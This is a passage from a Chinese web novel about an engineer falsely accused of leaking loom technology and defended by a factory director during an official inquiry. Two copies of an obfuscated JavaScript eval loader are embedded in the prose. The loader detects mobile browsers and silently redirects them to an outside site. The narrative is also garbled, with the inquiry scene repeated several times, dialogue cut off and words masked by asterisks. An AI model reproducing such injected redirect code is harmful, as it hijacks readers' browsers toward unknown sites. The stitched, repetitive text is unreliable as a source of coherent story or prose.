“王强同志请你跟我们回局里接受调查。” 王强不愿意可这时候他的意愿没有人听最终王强还是被强势带走。 厂里的人显然也没想到王强会以这样的方式离开众人的视线。 等人群散去姜海棠才问:“良辰你怎么回来了?” 陆良辰露出疲惫的笑容:“这次的培训在胡厂长的干预下延迟了一天我明天再去参加培训。” “王强虽然进去了但还有许多后续问题需要我处理我今天晚上不一定能回家。” 姜海棠浅笑着:“工作重要你也要注意身体。” 陆良辰点头转身大步离开。 纺织厂的工作告一段落姜海棠又到了机械厂。 袜子机的生产已经进入最后的调试阶段她刚到车间就看到向文涛带着几个人正满头大汗地调试机器。 “姜工你来得正好!”向文涛看到她连忙招手“这台机器的传动系统老是出问题我们怎么调试都不行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就是……提花机!**上说你把我们的提花机技术秘密转让给了机械厂!” 姜海棠几乎要气笑了,提花机是机械厂生产的设备,何来“泄露”一说? 这分明是有人故意找茬。 “我知道了,我马上回去。”她挂断电话,转身对向文涛说,“纺织厂有点事,我得回去一趟。这台机器的调试步骤我已经写在记录本上了,你们按照步骤来应该没问题,我会很快回来。” 向文涛担忧地问:“姜工,出什么事了?需要帮忙吗?” “没事,一点小误会。”姜海棠笑了笑,不过是有人故意找茬罢了,姜海棠相信,不会有太大的问题。 不过,举报人挑选的时间倒是十分巧妙,正好在陆良辰离开的空档期,说不定,背后有阴谋。 机械厂的小汽车送姜海棠到了纺织厂,刚下车,一个熟悉的声音从侧面传来。 “海棠姐!” 第184章 反驳 姜海棠转头,看见李秋兰站在厂门口的大树下,手里拎着一个网兜,里面装着就几个蔫巴巴的苹果。 她脸上挂着甜美的笑容,但眼神却闪烁不定。 “李秋兰?你怎么在这儿?”姜海棠警觉起来。 之前,她还没想过是李秋兰举报,但就在看到李秋兰的这一瞬间,姜海棠觉得,可能就是李秋兰举报的自己。 只是,她举报自己的动机是什么? 姜海棠有点想不通。 李秋兰快步走过来,亲**挽住姜海棠的手臂:“我听说你**了,特意来看看你。海棠姐,你没事吧?” 姜海棠用了一点力气抽出手臂:“消息传得这么快?” “哎呀,纺织厂都传遍了。”李秋兰压低声音,“海棠姐,我是担心你,才专门到这里来等你的。” 姜海棠眉头紧蹙,她审视地看着李秋兰:“你专门来告诉我这个?” 李秋兰可不是什么好人,绝对不会好心来这里关心自己,那么,她是来落井下石的? 李秋兰被看得有些不自在,强笑道:“海棠姐,好歹咱们在一起生活了十来年,我和娘都关心你呢。”她把网兜塞到姜海棠手里,“这几个苹果是专门给你买的,你拿着。” 姜海棠没有接:“谢谢,不过,我们的关系没有好到这样,我得赶紧回厂里处理这事,苹果你带回去吧!” 无事献殷勤,非奸即盗,姜海棠完全不相信李秋兰会关心自己。 “我陪着你一起去吧!”李秋兰急忙说,“多个人多个帮手,你和机械厂合作的事我会帮你解释。” 至此,姜海棠已经完全确定了,李秋兰就是举报人,只是不知道,这其中,吴秀云和李胜利起了什么作用。 姜海棠不动声色地继续往前走:“李秋兰,我的事情我自己会处理,不用你帮忙。” “海棠姐!”李秋兰追上来,语气急切,“其实……其实我知道是谁举报的你!” 姜海棠这次真的停下了:“谁?” 李秋兰左右看看,神秘兮兮地说:“这里不方便说。我们一起走,我慢慢告诉你。” 姜海棠看了看手表,调查组还在厂里等着,她没有时间在这里耗。 但李秋兰的异常举动确实可疑…… “那正好,你也不用告诉我了,我们去找调查组的人,你可以当面指证举报人。”姜海棠紧盯着李秋兰的反应。 果然,李秋兰的脸色变得苍白:“海棠姐,我,我又不是纺织厂的人……” “李秋兰,你是什么人,我还能不知道吗?”姜海棠眼神冰冷的看着李秋兰。 刘秋兰被她的眼神吓到,突然转身就跑:“我突然想起来还有事!先走了。” 回到纺织厂,姜海棠直接去了厂长办公室。 陆良辰不在,他的办公室有三名男子正在翻阅文件,韩知秋站在一旁,脸色难看。 “姜工!”韩知秋如见救星般迎上来,“这几位是轻工局调查组的同志。” 为首的男子约莫四十岁,梳着整齐的背头,眼神锐利:“你就是姜海棠同志?我是轻工局生产技术处的齐玉和。” 姜海棠镇定地点头:“齐主任好。” 齐玉和从公文包里取出一封信捏在手里,若有所思地盯着姜海棠看了好一会儿,才缓缓开口。 “姜海棠同志,我们收到了一封**,**上说,你将纺织厂自主研发的提花机技术秘密转让给机械厂,换取个人利益。你有什么要解释的?” 姜海棠看着齐玉和手中的**,上面大大的“**”三个字,可不就是李秋兰的笔记吗? “我可以看看**吗?”姜海棠试探问道。 齐玉和摇头:“我们有责任保护举报人的信息。” 姜海棠既然已经确定了**是李秋兰的手笔,看**不过是一个试探。 “这完全是诬陷。”姜海棠冷静地说,“我们是纺织厂,怎么可能有提花机的技术?” “经过我们调查,你本人和机械厂关系密切,你如何解释?” “我本人因为在机械研究方面有些特长,在机械厂有兼职,这是给省厅打过报告,省厅也批准了的。” 姜海棠直接承认自己在机械厂兼职,倒是让齐玉和和其他两名同志都有些愕然。 他们怎么也没想到,姜海棠竟然直接承认自己兼职。 “姜海棠同志,你一个人在机械厂和纺织厂两边领工资,是典型的多吃多占,这是**行为!” 齐玉和身后年轻的小同志沉不住气,直接开口指责姜海棠。 “小同志,”姜海棠转向那位年轻小同志,声音平和但字字有力。“你还需要多多学习文件。” 姜海棠这话说得淡定,小同志一时之间没听明白姜海棠的意思。 “你,这是什么意思?” “1973年**下发的《关于技术人员兼职问题的暂行规定》明确指出,技术人员在完成本职工作的前提下,经组织批准参与其他单位技术工作,不属于多吃多占。你 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” 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不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?”

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“当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 第185章 我平时不这样 “老子才不管匿名不匿名我们厂里当成心肝宝贝一样的工程师被诬陷了这事儿得不到妥善解决我就找省厅大领导问问去 **厂长摆出一副老子什么都不怕的样子还真将齐玉和几个人给唬住了。 他们如坐针毡偏偏**厂长还在喋喋不休地叫骂。 “你们以为把陆良辰这小子调虎离山姜海棠同志就由着你们搓圆捏扁了?想都别想!她后头还有我这么个混不吝的撑腰!” 姜海棠眼窝热热的她被**厂长这一番话给感动了。 她和**厂长其实算不得熟悉毕竟她去机械厂的时候比较少去了也不应会见**厂长。 但这样的时候**厂长却不惜破坏自己的形象站在这里保护她。 这样的感觉真好。 齐玉和听着**厂长的那些话只觉得额头都冒汗了。 他们确实是趁着陆厂长参加培训的时候上门的原以为没有陆良辰他们就能拿捏姜海棠。 但他们没想到姜海棠是个精明的能有理有据反驳他们。 更没想到**厂长会跳出来保护姜海棠啊。 机械厂的**厂长这个老头子可比纺织厂年少有为的陆厂长根基深更难缠。 **厂长是能在省厅领导办公室撒泼打滚闹一闹的人物而且战绩可查! 他们可不觉得**厂长说要去领导跟前走走的话是随便说说齐玉和敢保证凡是他今天没有处理好这位一个小时之内真的能去领导办公室闹。 该死的丁长林真是害**了。 心里腹诽完了上司丁长林齐玉和低头道歉:“**厂长这事儿是我们没有调查清楚委屈了姜海棠同志请您大人不记小人过!” 然而**厂长却冷哼一声说道:“你们委屈的不是我给我道歉没用。” 齐玉和听明白了忙歉意地对姜海棠说:“姜海棠同志调查清楚了你是清白的。相关情况我们会向轻工局的领导汇报我们也是为了工作还请您别放在心上。” 姜海棠平静地说:“虽然人常说身正不怕影子斜。不过我认为这种诬告行为若不严肃处理恐怕会助长不良风气。我也相信组织是公平的不管什么时候都会公平公正。” 齐玉和与两名同事交换了个眼神:“这一点您放心我们不管什么时候都会公平公正不会包庇任何一个破坏团结的人对这种破坏生产秩序的行为一定要严肃处理!!” 得 了齐玉和的保证,**厂长也不客气,直接开口让他们回去,别打扰纺织厂的生产秩序。 齐玉和带着两名调查员灰溜溜地离开后,办公室里一时安静得能听见墙上挂钟的滴答声。 **厂长只等人走得看不到影子了,这才收起那副凶神恶煞的表情,转身看向姜海棠时,眼神已经变得慈祥。 “海棠同志,没吓着你吧?”**厂长搓着手,像个做错事的孩子。 姜海棠还真没见过如此多变的**厂长,没忍住笑了。 **厂长继续解释:“我这人脾气急,最见不得老实人受欺负。海棠同志,我平时不这样的,你可不要当我是不讲理的老头子!” 姜海棠眼眶又热了起来,她连忙摇头:“**厂长,谢谢您。要不是您……” “哎,说这些干啥!见外了不是,我们是一家人,你是我们机械厂的工程师,那就是我老**的人!保护你还不是应该的?”**厂长大大咧咧地说。 韩知秋适时地递上一杯热茶:“**厂长,您喝茶。” **厂长接过茶杯,咕咚咕咚一饮而尽,抹了抹嘴说:“小姜啊,这事儿我看不简单。那个李秋兰是你前小姑子?” 姜海棠苦笑:“是我前夫李胜利的妹妹。” 李秋兰这一波操作,姜海棠其实没看明白。 李秋兰举报了她,又在她跟前刷存在感,动机并不像希望自己倒霉。 甚至,她那**应该就是随口胡诌的,举报的内容甚至都不用大动肝火的查就能调查清楚。 偏偏,轻工局那边安排人来调查了,而且还是冲着搞自己的想法来的。 “不是什么好人,你防着点,有事让人给我送信,千万不要自己扛,你还年轻,扛不住事。”**厂长苦口婆心地说着。 姜海棠点头:“我会的,**厂长。您先回机械厂,我这边处理一些事再回去。” “我正好不忙,就在纺织厂等你。海棠,轻工局的副局长丁长林是王强的姐夫,王强是丁长林在纺织厂扶持起来的人。” “去年,丁长林就想着把王强扶到副厂长的位置上,谁知道,组织上空降了一个陆良辰,坏了丁长林的计划。” “这段时间,丁长林和王强没少走动,就为了上副厂长,我听人说,已经弄得差不多了。现在纺织厂把王强送进去了,丁长林这边损失了一员大将,肯定不会善罢甘休。” 话说到这里,姜海棠明白了。 李秋兰的**,给了丁长林一个借口调查自己,甚至,调查的目的可能不是 自己,而是陆良辰。 而她因为和陆良辰的关系,让他们觉得,这是一个打击陆良辰的一个突破口。 “我得赶紧通知良辰,可他培训去了,我听说是封闭式的,应该见不到!”姜海棠急忙拿起电话,忽而想起陆良辰说,这次集中培训是封闭式的。 **厂长安抚他:“别急,陆良辰那小子机灵着呢,这会儿说不定已经得到消息了。你先忙你的,我想办法联系他,给他送个信儿过去。” 姜海棠没客气,立即向**厂长道谢,然后和几个值得信任的人商量了一下后续的处置工作。 她把**厂长的分析转述给大家,众人听后都倒吸一口冷气。 “所以……这次是轻工局的丁副局长在搞鬼?”黎景程声音发颤,“我以前见过他,搭档是还觉得,他是个和蔼的领导,真没想到……我们该怎么办?他可是管着我们的领导啊!” 张巧红咬着嘴唇:“难怪王强那么嚣张,原来背后有这么大靠山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797858|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜海棠环视众人,声音坚定:“不管靠山多大,我们行得正坐得直,就不怕他们使绊子。这段时间,大家必须要打起十二万分的精神,绝对不能让人抓到任何把柄。另外,赵科长,请你安排人特别关注王强和李胜利,如果可以的话,也盯着丁长林一点。” 其他人也将自己的意见和建议都说了出来,几个年轻人群策群力,你一言我一语,很快就制定出了一个周密的保卫计划。 安排好了这些,**厂长已经在吉普车上等着她了。 姜海棠上车。 **厂长说:“我已经联系到陆厂长了,今天晚上八点,陆厂长会给我的办公室打电话,到时候你可以和他通话。” 姜海棠认真地给**厂长道谢。 晚上八点,**厂长办公室的电话果然响了起来。 姜海棠接起电话。 “海棠,是我。”电话那头传来陆良辰低沉的声音,“今天的事我听说了,你没事吧?” 听到陆良辰的声音,姜海棠紧绷了一天的神经终于放松下来。 “我没事,多亏**厂长及时赶到。”她简单叙述了事情经过,“良辰,这事不简单,有没有可能是针对你来的。” 